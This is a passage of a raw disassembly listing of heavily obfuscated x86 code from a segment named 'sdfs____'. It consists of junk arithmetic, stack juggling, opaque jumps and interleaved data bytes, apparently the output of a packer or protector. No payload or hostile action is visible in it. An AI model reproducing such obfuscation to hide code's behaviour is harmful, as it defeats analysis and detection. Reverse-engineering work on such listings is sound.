		add	eax, 9404E02Dh
		mov	ebp, eax
		pop	eax
		mov	ecx, esi


loc_59BF41:				; CODE XREF: sdfs____:0059DC5Cj
		add	eax, ebx
		pop	ebx
		jmp	loc_59F25C
; ---------------------------------------------------------------------------


loc_59BF49:				; CODE XREF: sdfs____:005A4E7Ej
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5A9345
; ---------------------------------------------------------------------------


loc_59BF55:				; CODE XREF: sdfs____:005ADF7Aj
		push	eax
		mov	eax, 482431EBh
		shr	eax, 5
		jmp	loc_5A59DF
; ---------------------------------------------------------------------------


loc_59BF63:				; CODE XREF: sdfs____:005A6C4Cj
		pop	edx
		and	eax, 699149A2h
		sub	eax, 1A97247Ch
		push	esi
		jmp	loc_59D687
; ---------------------------------------------------------------------------


loc_59BF74:				; CODE XREF: sdfs____:005994F2j
		xor	ebx, [esp]
		pop	esp
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_59BF7D:				; CODE XREF: sdfs____:005AB7A2j
		add	esp, 4
		push	4AA5h
		mov	[esp], eax
		push	esi
		mov	esi, 4
		jmp	loc_59FCD2
; ---------------------------------------------------------------------------


loc_59BF93:				; CODE XREF: sdfs____:005A79DEj
		mov	ecx, 46AD071Fh
		inc	ecx
		jmp	loc_59AB42
; ---------------------------------------------------------------------------


loc_59BF9E:				; CODE XREF: sdfs____:005A52ACj
		push	6FC1h
		mov	[esp], eax
		mov	eax, 41B96D0Bh
		add	eax, 0FFFFFFFFh
		add	eax, 264D433Bh
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5A57BC
; ---------------------------------------------------------------------------


loc_59BFC7:				; CODE XREF: sdfs____:005A5569j
		sub	eax, 0E894D126h
		add	edx, eax
		mov	eax, [esp]
		jmp	loc_5A68A5
; ---------------------------------------------------------------------------


loc_59BFD6:				; CODE XREF: sdfs____:005A5643j
		xchg	ecx, ebx
		pop	ecx
		add	ebx, 0FFFFFFFFh
		shr	ebx, 2
		jmp	loc_5A2FE8
; ---------------------------------------------------------------------------


loc_59BFE7:				; CODE XREF: sdfs____:0059E0F8j
		pop	esi
		jmp	loc_5A18E2
; ---------------------------------------------------------------------------


loc_59BFED:				; CODE XREF: sdfs____:005A461Fj
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		xor	ebx, eax
		push	dword ptr [eax]
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_59BFFB:				; CODE XREF: sdfs____:005AD74Cj
		mov	[esp], eax
		push	ecx
		jmp	loc_5A6B17
; ---------------------------------------------------------------------------


loc_59C004:				; CODE XREF: sdfs____:005AFB17j
		ja	loc_59F12E
		jmp	loc_5AAD00
; ---------------------------------------------------------------------------
		db 0BEh
		dd 75B62E55h, 5F5EF029h, 7E0C15Fh, 19EEE9h, 36F48000h
		dd 37E9E788h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59C02B:				; CODE XREF: sdfs____:005A61F6j
		sub	edi, 2C231ADFh
		add	edi, eax
		add	edi, 2C231ADFh
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5A96D8
; ---------------------------------------------------------------------------
		db 89h
		dd 8152242Ch, 4ECh, 240C8900h, 21A568h,	24348900h, 2279E9h
		db 0
; ---------------------------------------------------------------------------


loc_59C061:				; CODE XREF: sdfs____:005A8FCCj
		add	ebx, eax
		push	ecx
		mov	ecx, 0EDE25C2h
		jmp	loc_5A4F84
; ---------------------------------------------------------------------------
		dw 315Dh
		dd 24048BC3h, 0E904C483h, 130C9h, 6B5EE81h, 23E954DFh
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59C087:				; CODE XREF: sdfs____:005AE606j
		pop	esp
		and	[esp], al
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_59C091:				; CODE XREF: sdfs____:005A219Fj
		add	ebx, ebp
		pop	ebp
		xor	ebx, edi
		xor	edi, ebx
		xor	ebx, edi
		dec	edi
		xchg	edi, ebx
		jmp	loc_5AAA9A
; ---------------------------------------------------------------------------
word_59C0A2	dw 77FFh		; DATA XREF: sdfs____:0059903Co
		dd 19589D1Ch, 0E99C2404h, 0FFFFD05Fh
; ---------------------------------------------------------------------------


loc_59C0B0:				; CODE XREF: sdfs____:0059B257j
		and	edx, 4C1E2CB3h
		push	esi
		mov	esi, 69FC059Fh
		and	esi, 2B2328B8h
		and	esi, 785E5E3Fh
		xor	esi, 9E62F05h
		add	esi, 0ED8DEADDh
		xor	edx, esi
		pop	esi
		add	edx, 0DAF2F60Ah
		add	edi, edx
		pop	edx
		add	edi, 9614663h
		add	edi, 32F61254h
		jmp	loc_59D76E
; ---------------------------------------------------------------------------


loc_59C0F1:				; CODE XREF: sdfs____:005ACB91j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5A54BA
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0F7803FB7h, 6FE78005h, 0F8EE780h, 10AF585h, 85B05000h
		dd 0CE2C472Ch, 8058C720h, 0C98ADAC7h, 0FFCFEAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59C125:				; CODE XREF: sdfs____:005A9CFAj
		xor	ecx, ebx
		pop	ebx
		add	eax, ecx
		jmp	loc_5A8FF4
; ---------------------------------------------------------------------------


loc_59C12F:				; CODE XREF: sdfs____:005AFDA8j
		pop	esp
		mov	edx, ebp
		pop	ebp
		sub	dword ptr [esp+4], 3A6B28B0h
		add	[esp+4], edx
		push	eax
		mov	eax, 3A6B28B0h
		add	dword ptr [esp+8], 4BED4A40h
		jmp	loc_5AD99E
; ---------------------------------------------------------------------------


loc_59C152:				; CODE XREF: sdfs____:005A6A06j
		pop	edx
		push	edx
		mov	edx, 1F3D019Ah
		jmp	loc_5AAC57
; ---------------------------------------------------------------------------


loc_59C15E:				; CODE XREF: sdfs____:0059AAE0j
		xor	bh, dl
		pop	edx
		mov	al, bh
		pop	ebx
		shl	al, 8
		js	loc_59FFF9
		xor	al, 0B4h
		jg	loc_5AA82F
		inc	al
		jns	loc_59FD0E
		push	ecx
		mov	ch, 6Eh
		dec	ch
		neg	ch
		shr	ch, 2
		add	ch, 44h
		sub	al, ch
		pop	ecx
		sub	bl, al
		pop	ax
		movzx	eax, al
		jmp	loc_5A9F12
; ---------------------------------------------------------------------------
		db 0E9h, 71h, 0CFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59C19E:				; CODE XREF: sdfs____:005A3C9Dj
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_59C4AA
; ---------------------------------------------------------------------------


loc_59C1BF:				; CODE XREF: sdfs____:005A54C4j
		add	esp, 4
		push	edi
		jmp	loc_5A5204
; ---------------------------------------------------------------------------


loc_59C1CB:				; CODE XREF: sdfs____:loc_5A8D14j
		neg	ebx
		js	loc_5A7E28
		add	ebx, 0FDAF188h
		jmp	loc_59E77C
; ---------------------------------------------------------------------------


loc_59C1DE:				; CODE XREF: sdfs____:005AC718j
		sub	esi, 8084293h
		jmp	loc_5A49FE
; ---------------------------------------------------------------------------


loc_59C1E9:				; CODE XREF: sdfs____:005ACB7Ej
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4CDA1EAAh
		jmp	loc_5A8DCE
; ---------------------------------------------------------------------------


loc_59C1F7:				; CODE XREF: sdfs____:005A324Cj
		sub	edx, 0A463CAEh
		jmp	loc_5AB75B
; ---------------------------------------------------------------------------


loc_59C202:				; CODE XREF: sdfs____:0059F4B2j
		pop	eax
		add	edi, 410E27B6h
		jmp	loc_5A5393
; ---------------------------------------------------------------------------
		dw 0EEC1h
		dd 3ABA5206h, 16D9144h,	0EBE95AD6h
		db 39h,	1, 0
; ---------------------------------------------------------------------------


loc_59C21F:				; CODE XREF: sdfs____:005AA9C6j
		jmp	loc_5AA006
; ---------------------------------------------------------------------------
		dd 0C581E589h, 4, 4ED81h, 2C870000h, 6CE95C24h
		db 0D5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59C23B:				; CODE XREF: sdfs____:005A9B8Fj
					; sdfs____:005ADA00j
		add	esp, 2
		jmp	loc_5A216C
; ---------------------------------------------------------------------------


loc_59C246:				; CODE XREF: sdfs____:005A5CF2j
		push	esi
		push	ecx
		push	5DF47BFEh
		jmp	loc_59ACB7
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 4EB81h, 1C870000h, 24895C24h, 24048124h, 4, 252E95Ah
		db 1, 0
; ---------------------------------------------------------------------------


loc_59C272:				; CODE XREF: sdfs____:005997F8j
		push	eax
		push	19856F1Dh
		pop	eax
		jmp	loc_5AE2BD
; ---------------------------------------------------------------------------
		dw 0CE81h
		dd 44F251ADh, 0FCF5800Fh, 0EE810000h, 17DD1A5Ch, 0E95EF589h
		dd 9051h
; ---------------------------------------------------------------------------


loc_59C298:				; CODE XREF: sdfs____:0059A77Cj
		add	esp, 4
		add	edx, 4
		jmp	loc_5AA8D1
; ---------------------------------------------------------------------------


loc_59C2A6:				; CODE XREF: sdfs____:005A3B31j
		sub	esp, 4
		jmp	loc_5AB48E
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 0E9h
		dd 85F4h, 5D39BB53h, 0C38115FDh, 6BD80B94h, 0F640860Fh
		dd 0EB81FFFFh, 56CB2541h, 0FFB7EB81h, 0AAE9C231h
		db 36h,	1, 0
; ---------------------------------------------------------------------------


loc_59C2DB:				; CODE XREF: sdfs____:005A8A94j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_59A756
; ---------------------------------------------------------------------------


loc_59C2F9:				; CODE XREF: sdfs____:0059A1E7j
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		jmp	loc_59F0EB
; ---------------------------------------------------------------------------


loc_59C30D:				; CODE XREF: sdfs____:005A5C3Fj
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_5A0ABD
; ---------------------------------------------------------------------------


loc_59C31D:				; CODE XREF: sdfs____:005A10DEj
		xchg	esi, [esp]
		jmp	loc_5A2BCC
; ---------------------------------------------------------------------------


loc_59C325:				; CODE XREF: sdfs____:005A4DF7j
		shl	edx, 6
		jnp	loc_59DAF8
		dec	edx
		and	edx, 17FB4805h
		jo	loc_5A5648
		add	edx, 0FE132BF2h
		jmp	loc_5AF3E5
; ---------------------------------------------------------------------------


loc_59C346:				; CODE XREF: sdfs____:0059C74Fj
		jbe	loc_599FDF
		or	eax, 112D52A3h
		jz	loc_5A1FA5
		shl	eax, 8
		jns	loc_5A4BB2
		jmp	loc_5AB063
; ---------------------------------------------------------------------------


loc_59C365:				; CODE XREF: sdfs____:005A93BEj
		mov	ecx, esi
		pop	esi
		sub	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5A2789
; ---------------------------------------------------------------------------


loc_59C378:				; CODE XREF: sdfs____:005AFB49j
		push	eax
		mov	eax, 12552660h
		add	ecx, eax
		jmp	loc_5A0D5B
; ---------------------------------------------------------------------------


loc_59C385:				; CODE XREF: sdfs____:0059D554j
		pop	ebx
		jmp	loc_5A020E
; ---------------------------------------------------------------------------


loc_59C38B:				; CODE XREF: sdfs____:005AFDF8j
		push	edx
		mov	edx, 375B1F80h
		add	eax, edx
		jmp	loc_5AFFC7
; ---------------------------------------------------------------------------


loc_59C398:				; CODE XREF: sdfs____:005AF9E9j
		mov	ebp, 308E2D0Dh
		jmp	loc_59F4F5
; ---------------------------------------------------------------------------


loc_59C3A2:				; CODE XREF: sdfs____:005A24E2j
		pop	ebp
		xor	edx, eax
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_59C3AA:				; CODE XREF: sdfs____:0059DD90j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 2
		jmp	loc_5A25E7
; ---------------------------------------------------------------------------
dword_59C3CC	dd 240C8B66h, 20AEE9h		db 0
aMfhEsS		db '¬fh²Eé%s',0         ; DATA XREF: sdfs____:00599044o
		dw 8900h
		dd 0CCBB241Ch, 0E9478F44h, 0FFFFD476h
; ---------------------------------------------------------------------------


loc_59C3EC:				; CODE XREF: sdfs____:005A2D5Dj
		sub	eax, 41007E01h
		sub	eax, ebp
		add	eax, 41007E01h
		pop	ebp
		or	eax, 63446671h
		dec	eax
		not	eax
		and	eax, 65512C46h
		sub	eax, 4010802h
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5992B5
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 6866E3B7h, 89662B6Ah, 8B22414h, 52E9D728h
		db 79h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59C42F:				; CODE XREF: sdfs____:005A8459j
		jmp	loc_5A07E3
; ---------------------------------------------------------------------------


loc_59C434:				; CODE XREF: sdfs____:005A3B1Aj
		sub	bl, cl
		jmp	loc_59A262
; ---------------------------------------------------------------------------


loc_59C43B:				; CODE XREF: sdfs____:005AD064j
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_59D842
; ---------------------------------------------------------------------------


loc_59C446:				; CODE XREF: sdfs____:005A4165j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp


loc_59C459:				; CODE XREF: sdfs____:0059DB5Cj
		push	3C06h
		mov	[esp], ebx
		push	7F7Bh
		mov	[esp], ecx
		push	esp
		jmp	loc_5A264A
; ---------------------------------------------------------------------------


loc_59C46F:				; CODE XREF: sdfs____:005A2BD8j
		push	2839h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		jmp	loc_59B869
; ---------------------------------------------------------------------------


loc_59C49B:				; CODE XREF: sdfs____:005A1CC7j
		or	ch, 0E7h
		jmp	loc_5A06A4
; ---------------------------------------------------------------------------


loc_59C4A3:				; CODE XREF: sdfs____:00599F07j
		mov	eax, esp
		jmp	loc_59E628
; ---------------------------------------------------------------------------


loc_59C4AA:				; CODE XREF: sdfs____:0059C1BAj
		pop	esp
		jmp	loc_5A5EF4
; ---------------------------------------------------------------------------


loc_59C4B0:				; CODE XREF: sdfs____:005B0038j
		sub	ebx, 622A059Ch
		add	ebx, eax
		push	edi
		mov	edi, 5E212B37h
		jmp	loc_5A840B
; ---------------------------------------------------------------------------


loc_59C4C3:				; CODE XREF: sdfs____:005A155Aj
					; sdfs____:loc_5AB20Dj
		push	edx
		mov	edx, 53D922DAh
		and	edx, 7C8F69B1h
		jmp	loc_5AF466
; ---------------------------------------------------------------------------
		dd 0D3668h, 242C8900h, 593DE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59C4E2:				; CODE XREF: sdfs____:loc_5A8ACEj
		sub	ebp, 868C349Ah
		add	ebp, 66154521h
		jmp	loc_5A0C48
; ---------------------------------------------------------------------------


loc_59C4F3:				; CODE XREF: sdfs____:00599298j
		xchg	dl, al
		add	al, 2Ch
		jmp	loc_5AD79B
; ---------------------------------------------------------------------------


loc_59C4FC:				; CODE XREF: sdfs____:005A76CEj
		add	edx, 236926B1h
		sub	edx, 417C916Ah
		sub	esi, edx
		pop	edx
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		push	5475h
		mov	[esp], ecx
		mov	ecx, 2C9B75E0h
		push	esi
		jmp	loc_5A2BBC
; ---------------------------------------------------------------------------


loc_59C525:				; CODE XREF: sdfs____:005AF92Bj
		xor	esi, [esp]
		mov	esp, [esp]
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5996C5
; ---------------------------------------------------------------------------
		dd 5C241C87h, 0E9243C89h, 100F6h
; ---------------------------------------------------------------------------


loc_59C548:				; CODE XREF: sdfs____:005A4F4Bj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5A20BE
; ---------------------------------------------------------------------------


loc_59C55B:				; CODE XREF: sdfs____:0059BE22j
		add	ecx, 38701923h
		jmp	loc_59DB10
; ---------------------------------------------------------------------------


loc_59C566:				; CODE XREF: sdfs____:005A1422j
		pop	ecx
		jmp	loc_59EDEA
; ---------------------------------------------------------------------------


loc_59C56C:				; CODE XREF: sdfs____:005A9919j
		mov	edi, esi
		jmp	loc_5A2A52
; ---------------------------------------------------------------------------


loc_59C573:				; CODE XREF: sdfs____:0059E89Cj
		jmp	loc_5A6A7E
; ---------------------------------------------------------------------------
		dd 1CD7E95Ah, 0C5680001h, 5E5FA277h, 24EDCE81h,	0E6814E0Ch
		dd 46AC7601h, 581E8A0Fh, 0E6D10000h, 0CF37840Fh, 0EE81FFFFh
		dd 8D58EBFEh, 57F78957h, 81242C8Bh, 4C4h, 15E5F00h, 5D04246Ch
		dd 51243C8Bh, 0C181E189h, 4, 3304C183h,	73E9240Ch
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59C5CF:				; CODE XREF: sdfs____:0059D63Ej
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	edi
		push	esp
		pop	edi
		push	edx
		mov	edx, 4
		add	edi, 6FB829AAh
		add	edi, edx
		sub	edi, 6FB829AAh
		pop	edx
		jmp	loc_59BB34
; ---------------------------------------------------------------------------


loc_59C607:				; CODE XREF: sdfs____:005ADAE2j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	edi
		push	7B6Ch
		mov	[esp], ecx
		mov	ecx, 30B23F77h
		mov	edi, ecx
		pop	ecx
		or	edi, 2D762DDDh
		neg	edi
		jmp	loc_59D397
; ---------------------------------------------------------------------------
		db 66h
		dd 0B2241489h, 7142E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59C63E:				; CODE XREF: sdfs____:005A5593j
		xor	[esp], esi
		jmp	loc_59E902
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 7DAC73D6h, 159CE29h,	731FE9CEh, 0BD550000h, 0ADD75BBh
		dd 761EE581h, 8E0F2070h, 0D782h, 1120DE9h
		db 0
; ---------------------------------------------------------------------------


loc_59C66D:				; CODE XREF: sdfs____:005AE3E3j
		mov	edi, 65441379h
		and	edi, 7A823A64h
		xor	edi, 47FE578Eh
		add	edi, 0D801BA16h
		add	ecx, edi
		push	dword ptr [esp]
		jmp	loc_5A33F2
; ---------------------------------------------------------------------------


loc_59C68E:				; CODE XREF: sdfs____:005A652Fj
		push	eax
		mov	eax, 33522446h
		xor	eax, 7F065D27h
		or	eax, 137455A2h
		jmp	loc_59D19E
; ---------------------------------------------------------------------------


loc_59C6A3:				; CODE XREF: sdfs____:loc_5A2183j
		sub	ebp, 0C83D6047h
		mov	eax, ebp
		jmp	loc_5AA984
; ---------------------------------------------------------------------------
		dd 24148966h, 4EC81h, 0D2E90000h
		db 1Fh,	1, 0
; ---------------------------------------------------------------------------


loc_59C6BF:				; CODE XREF: sdfs____:005A0F44j
					; sdfs____:005A5709j ...
		push	0A29h
		jmp	loc_5ACA7D
; ---------------------------------------------------------------------------


loc_59C6C9:				; CODE XREF: sdfs____:005AC8E2j
		xor	eax, [esp]
		jmp	loc_5AF528
; ---------------------------------------------------------------------------


loc_59C6D1:				; CODE XREF: sdfs____:005991F3j
		pop	ebx
		add	ecx, 39DA0680h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	ecx, [esp]
		jmp	loc_5AA257
; ---------------------------------------------------------------------------


loc_59C6E7:				; CODE XREF: sdfs____:0059E581j
		xchg	esi, [esp]
		pop	esp
		inc	ebp
		jz	loc_59CA78
		inc	ebp
		shr	ebp, 8
		jmp	loc_5AC4A2
; ---------------------------------------------------------------------------


loc_59C6FB:				; CODE XREF: sdfs____:005AFA63j
		sub	al, 0F2h
		add	al, bl
		jmp	loc_5A5510
; ---------------------------------------------------------------------------


loc_59C704:				; CODE XREF: sdfs____:005AEE5Dj
		add	esi, 4
		jmp	loc_5AFB85
; ---------------------------------------------------------------------------


loc_59C70F:				; CODE XREF: sdfs____:005A37E5j
		xor	edx, edi
		mov	edi, [esp]
		add	esp, 4
		and	ebp, edx
		pop	edx
		xor	ebp, 21F11912h
		jmp	loc_5AB198
; ---------------------------------------------------------------------------


loc_59C725:				; CODE XREF: sdfs____:005AFC05j
		add	ebx, 251D5C84h
		add	ebx, 32CA19AFh
		mov	edx, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5A5098
; ---------------------------------------------------------------------------


loc_59C745:				; CODE XREF: sdfs____:005A3DCDj
		mov	eax, 47DC68A6h
		or	eax, 796F6A66h
		jmp	loc_59C346
; ---------------------------------------------------------------------------


loc_59C754:				; CODE XREF: sdfs____:005AB8ABj
		pop	di
		pop	bx
		or	di, 3975h
		sub	di, 5F71h
		jmp	loc_5AF620
; ---------------------------------------------------------------------------


loc_59C767:				; CODE XREF: sdfs____:005A5171j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_59F16C
; ---------------------------------------------------------------------------


loc_59C773:				; CODE XREF: sdfs____:005999F8j
		mov	[esp], ecx
		jmp	loc_5A4CF3
; ---------------------------------------------------------------------------


loc_59C77B:				; CODE XREF: sdfs____:loc_59EBF5j
		add	edx, 0E76B7FD6h
		dec	edx
		jo	loc_5A6021
		jmp	loc_5A133D
; ---------------------------------------------------------------------------


loc_59C78D:				; CODE XREF: sdfs____:005A0CECj
		pop	ebp
		jmp	loc_5A86D0
; ---------------------------------------------------------------------------
aISB		db '‰<$éÄB',0
		db 0
; ---------------------------------------------------------------------------


loc_59C79B:				; CODE XREF: sdfs____:005AFEF6j
		mov	esi, 4ED65286h
		push	eax
		jmp	loc_5A75E0
; ---------------------------------------------------------------------------


loc_59C7A6:				; CODE XREF: sdfs____:005A5D99j
		mov	[esp], ebx
		jmp	loc_5A2E1B
; ---------------------------------------------------------------------------


loc_59C7AE:				; CODE XREF: sdfs____:005A7389j
		add	ebx, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_599D8A
; ---------------------------------------------------------------------------


loc_59C7C2:				; CODE XREF: sdfs____:005AFC38j
		mov	esp, [esp]
		jmp	loc_5998C6
; ---------------------------------------------------------------------------


loc_59C7CA:				; CODE XREF: sdfs____:005A1457j
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		pop	dword ptr [edi+40h]
		jmp	loc_59E41D
; ---------------------------------------------------------------------------


loc_59C7DC:				; CODE XREF: sdfs____:005ACAAEj
		push	dword ptr [edi+eax*4]
		push	ebx
		jmp	loc_5A14ED
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 96h
		dd 0E91CE358h, 1A38h
; ---------------------------------------------------------------------------


loc_59C7F0:				; CODE XREF: sdfs____:loc_59A63Fj
					; sdfs____:0059EFD8j
		dec	eax
		jno	loc_5A0A5A
		jmp	loc_5A176B
; ---------------------------------------------------------------------------
aT_sj		db 'T_éJ',8,0
		db 0
; ---------------------------------------------------------------------------


loc_59C803:				; CODE XREF: sdfs____:005A1355j
		push	edx
		jmp	loc_5A2C97
; ---------------------------------------------------------------------------


loc_59C809:				; CODE XREF: sdfs____:005AF26Ej
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		add	esi, ebp
		jmp	loc_59E65E
; ---------------------------------------------------------------------------


loc_59C82C:				; CODE XREF: sdfs____:loc_59E2BEj
		not	edi
		sub	esp, 4
		jmp	loc_59B3A4
; ---------------------------------------------------------------------------


loc_59C836:				; CODE XREF: sdfs____:005AA738j
		pop	ebx
		mov	[edx], cl
		pop	edx
		pop	ecx
		jmp	loc_59910F
; ---------------------------------------------------------------------------
		dd 4C481h, 0E62D0000h, 5923833Ch, 70F6E9h, 0B257B300h
		dd 5BDA28F8h, 51EBE280h, 0DDF606B5h, 806CF580h,	0EA00AAC5h
		dd 7F07E959h, 83580000h, 148904ECh, 1AF0BA24h, 0BE567E5Dh
		dd 479D1180h, 0C146D6F7h, 0B85002EEh, 282149Fh,	3712DA35h
		dd 55F82D16h, 40351A74h, 31F8AC04h, 24048BC6h, 468BE9h
		db 0
; ---------------------------------------------------------------------------


loc_59C8A5:				; CODE XREF: sdfs____:005A7679j
		mov	ebp, 51962AA5h
		jmp	loc_5A901C
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E8C105E8h, 0BFE95608h
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59C8BB:				; CODE XREF: sdfs____:005AA90Aj
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 2
		xchg	edx, [esp]
		pop	esp
		push	small 4862h
		mov	[esp], dx
		jmp	loc_5AB9E6
; ---------------------------------------------------------------------------


loc_59C8D7:				; CODE XREF: sdfs____:005A26EFj
		add	ebp, 4
		jmp	loc_59B04F
; ---------------------------------------------------------------------------


loc_59C8E2:				; CODE XREF: sdfs____:005A80FCj
		add	esp, 4
		mov	ecx, ebp
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5A3FA8
; ---------------------------------------------------------------------------


loc_59C901:				; CODE XREF: sdfs____:005AF6C4j
		pop	ebp
		sub	edi, 23CC01FCh
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		jmp	loc_59CFB8
; ---------------------------------------------------------------------------


loc_59C918:				; CODE XREF: sdfs____:005A478Aj
		add	esi, 4
		add	esi, 4
		jmp	loc_5AD7AA
; ---------------------------------------------------------------------------
		db 0C1h, 0EAh, 4
		dd 129AE94Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59C932:				; CODE XREF: sdfs____:005AA8A4j
		sub	ebx, 45A25DB3h
		sub	ebx, 79A97D1Ah
		add	ebx, edx
		jmp	loc_59E443
; ---------------------------------------------------------------------------


loc_59C945:				; CODE XREF: sdfs____:005A948Fj
		mov	bl, ah
		mov	cl, bl
		pop	ebx
		pop	eax
		pop	edx
		pop	ebx
		push	edx
		push	0
		pop	edx
		add	edx, 6BCE3BF8h
		jmp	loc_599884
; ---------------------------------------------------------------------------
		db 55h
		dd 0FFF8BFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59C965:				; CODE XREF: sdfs____:0059A2EEj
		add	esi, 19AB0059h
		add	esi, 7278ECFFh
		sub	edi, esi
		pop	esi
		jmp	loc_59CD1D
; ---------------------------------------------------------------------------


loc_59C979:				; CODE XREF: sdfs____:005A026Dj
		push	bx
		jmp	loc_5A6750
; ---------------------------------------------------------------------------


loc_59C980:				; CODE XREF: sdfs____:0059BEEAj
		pop	ecx
		sub	al, dh
		add	al, 95h
		sub	al, 85h
		sub	al, 34h
		jmp	loc_5ACE9E
; ---------------------------------------------------------------------------


loc_59C98E:				; CODE XREF: sdfs____:005A708Dj
		add	edx, 363B5893h
		add	edi, edx
		jmp	loc_5AD54F
; ---------------------------------------------------------------------------
		db 68h
		dd 38Dh, 0BE243489h, 6E83796h, 0EB1FE9h, 148B6600h, 2C48124h
		dd 28000000h, 81C52CD8h, 2ECh, 0A59AE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59C9C6:				; CODE XREF: sdfs____:0059968Aj
		sub	edx, 351D25E0h
		pop	edi
		add	dword ptr [esp+4], 23173A99h
		add	dword ptr [esp+4], 63E11F38h
		add	[esp+4], edx
		push	edi
		mov	edi, 63E11F38h
		jmp	loc_5AD162
; ---------------------------------------------------------------------------


loc_59C9EC:				; CODE XREF: sdfs____:0059DC62j
		add	esp, 4
		sub	ebx, edi
		sub	ebx, 3F0F1B44h
		pop	edi
		pop	dword ptr [eax]
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_59CA02:				; CODE XREF: sdfs____:005A92E2j
		neg	edx
		jp	loc_5A25AC
		sub	edx, 0FF16A725h
		mov	ecx, edx
		jmp	loc_59EE07
; ---------------------------------------------------------------------------


loc_59CA17:				; CODE XREF: sdfs____:005AF06Bj
		js	loc_59FED3
		add	edi, 0DDF70000h
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ebp
		jmp	loc_5AF070
; ---------------------------------------------------------------------------


loc_59CA41:				; CODE XREF: sdfs____:005A93A8j
		shl	esi, 4
		and	esi, 264018BAh
		add	esi, 32D23CFCh
		push	ecx
		push	eax
		mov	eax, 2ABB266Dh
		mov	ecx, 261F79ACh
		jmp	loc_59A888
; ---------------------------------------------------------------------------


loc_59CA61:				; CODE XREF: sdfs____:005A32A7j
		add	esi, 1BD054CCh
		add	esi, ecx
		sub	esi, 1BD054CCh
		pop	ecx
		mov	ebp, esi
		pop	esi
		jmp	loc_5AC803
; ---------------------------------------------------------------------------


loc_59CA78:				; CODE XREF: sdfs____:0059C6ECj
		inc	ebp
		shr	ebp, 8
		jmp	loc_59F62F
; ---------------------------------------------------------------------------


loc_59CA81:				; CODE XREF: sdfs____:0059E678j
		pop	edi
		add	esi, 4FF45313h
		add	esi, ebx
		jmp	loc_5A40AC
; ---------------------------------------------------------------------------


loc_59CA8F:				; CODE XREF: sdfs____:0059B3E9j
